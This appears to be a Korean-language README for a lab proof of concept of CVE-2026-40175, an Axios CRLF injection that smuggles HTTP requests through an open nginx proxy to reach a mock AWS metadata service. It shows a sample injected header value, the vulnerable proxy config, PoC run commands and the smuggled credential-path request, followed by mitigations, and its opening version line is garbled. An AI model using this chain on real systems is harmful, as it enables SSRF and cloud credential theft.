Exploit for CVE-2026-40175

## https://sploitus.com/exploit?id=93AE532A-5E5F-5573-AB01-41C96B1A7675
# CVE-2026-40175 — Axios CRLF Injection / HTTP Request Smuggling PoC

## 개요

Axios HTTP 클라이언트(`>=1.0.0 =1.0.0 <1.15.0`, `axios <0.31.0` |
| 패치 버전 | `1.15.0`, `0.31.0` |
| CWE | CWE-93 Improper Neutralization of CRLF Sequences |

---

## 근본 원인

```
lib/core/AxiosHeaders.js  AxiosHeaders.set()
  └─ normalizeValue()
       └─ /[\r\n]+$/ 로 후행 CRLF만 제거
          ↑ 값 중간의 \r\n은 그대로 통과
```

결과적으로 헤더 값에 `\r\n\r\nGET /admin HTTP/1.1\r\n...`을 삽입하면
TCP 스트림에 두 번째 HTTP 요청이 그대로 포함된다.

---

## 공격 체인

```
[1] 직접 헤더 주입 또는 Prototype Pollution
        ↓
[2] axios가 CRLF 포함 값을 검증 없이 헤더로 직렬화
        ↓
[3] raw net.Socket 으로 TCP 스트림에 기록
        (Node.js 기본 http 모듈은 런타임에서 차단 → custom adapter 필요)
        ↓
[4] nginx (proxy_pass http://$http_host) 가 2개 요청으로 분리 파싱
        ↓
[5] 스머글된 요청의 Host 헤더 기반으로 다른 upstream 으로 라우팅 (SSRF)
        ↓
[6] 내부 서버(IMDS 등) 접근 → 크레덴셜 탈취
```

### 핵심 조건

| 조건 | 내용 |
|---|---|
| Node.js http 모듈 우회 | `net.Socket` 기반 custom adapter 사용 |
| nginx open proxy | `proxy_pass http://$http_host` 설정 |
| `ignore_invalid_headers on` | 비정상 헤더 허용 |
| `resolver` 지시자 | 동적 hostname 해석 가능 |

---

## 아키텍처

```
┌─────────────────────────────────────────────────────────┐
│  Host Machine                                           │
│                                                         │
│  test-axios-adapter-*.js                                │
│  (raw net.Socket → nginx:8080)                          │
│                                                         │
│  browser → exploit.html (3003)                          │
│         → relay (3004) → raw socket → nginx:8080        │
└────────────────────┬────────────────────────────────────┘
                     │ Docker bridge (cve-net)
          ┌──────────┼──────────┬──────────────┐
          ▼          ▼          ▼              ▼
      backend     nginx       imds           (future)
      :3001       :8080       :80
      :3003                   (169.254.169.254 mock)
      :3004
```

### 포트 맵

| 포트 | 서비스 | 역할 |
|---|---|---|
| 3001 | backend | HTTP 요청 수신 / 헤더 로깅 |
| 3003 | backend | exploit.html 정적 서버 |
| 3004 | backend | relay — browser POST → net.Socket 변환 |
| 8080 | nginx | open proxy (`proxy_pass http://$http_host`) |
| 80 (내부) | imds | AWS IMDSv2 mock 서버 |

---

## 실행

```bash
# 전체 컨테이너 빌드 및 시작
docker compose up --build

# Node.js 테스트 (호스트에서 실행)
npm install
```

### 시나리오별 테스트

```bash
# 1. 백엔드 직접 — CRLF 주입으로 2개 요청 발생
node poc/test-axios-adapter-backend.js

# 2. nginx 경유 — 스머글된 요청이 backend:3001 으로 라우팅
node poc/test-axios-adapter-nginx.js

# 3. 브라우저 — http://localhost:3003
#    대상 선택: 백엔드 직접 / nginx 경유 / nginx → IMDS (SSRF)
```

### IMDS SSRF 시나리오

```
1. nginx → IMDS 선택 후 Custom Adapter 실행
2. 스머글된 요청: GET /latest/meta-data/iam/security-credentials/my-ec2-role
                  Host: imds
3. nginx가 host=imds 로 라우팅 → IMDSv2 mock 서버로 전달
4. imds 컨테이너 로그: [!!!] 크리덴셜 탈취 성공!
```

---

## 파일 구성

```
.
├── docker-compose.yml
├── Dockerfile.backend          # backend + relay 컨테이너
├── Dockerfile.imds             # IMDSv2 mock 컨테이너
├── package.json                # axios@1.14.0 (취약 버전 고정)
└── poc/
    ├── backend-server.js       # HTTP 서버 (3001), relay (3004), 정적 서버 (3003)
    ├── mock-imds.js            # AWS IMDSv2 mock (PUT /token, GET /credentials)
    ├── nginx-container.conf    # open proxy 설정
    ├── exploit.html            # 브라우저 PoC (XHR vs Custom Adapter)
    ├── test-axios-adapter-backend.js  # raw socket → backend 직접
    ├── test-axios-adapter-nginx.js    # raw socket → nginx → backend/imds
    └── test-axios-no-adapter.js       # 표준 axios (Node.js 차단 확인용)
```

---

## nginx 설정 (핵심)

```nginx
resolver 127.0.0.11 valid=30s;   # Docker 내부 DNS

location / {
    proxy_pass         http://$http_host;   # Host 헤더 기반 동적 라우팅 = SSRF
    proxy_http_version 1.1;
    proxy_set_header   Connection "";
    proxy_set_header   Host $http_host;
}

location /public {
    proxy_pass         http://backend:3001;  # 정상 요청용 고정 upstream
}
```

`$http_host`(포트 포함)를 upstream으로 사용하므로, 스머글된 요청의 Host 헤더가
곧 라우팅 목적지가 된다.

---

## 완화

```bash
npm install axios@^1.15.0
```

패치(`1.15.0`)는 `assertValidHeaderValue()`를 도입해 CR/LF 포함 값을 즉시 거부한다.

추가 방어:
- nginx에서 `proxy_pass http://$http_host` 금지 → 고정 upstream 사용
- IMDSv2 전용 강제 (`HttpTokens: required`)
- EC2 인스턴스 프로필 최소 권한 적용

---

## References

- [NVD - CVE-2026-40175](https://nvd.nist.gov/vuln/detail/CVE-2026-40175)
- [Miggo Vulnerability DB](https://www.miggo.io/vulnerability-database/cve/CVE-2026-40175)
- [Aikido — Is it really exploitable?](https://www.aikido.dev/blog/axios-cve-2026-40175-a-critical-bug-thats-not-exploitable)
- [CVEReports](https://cvereports.com/reports/CVE-2026-40175)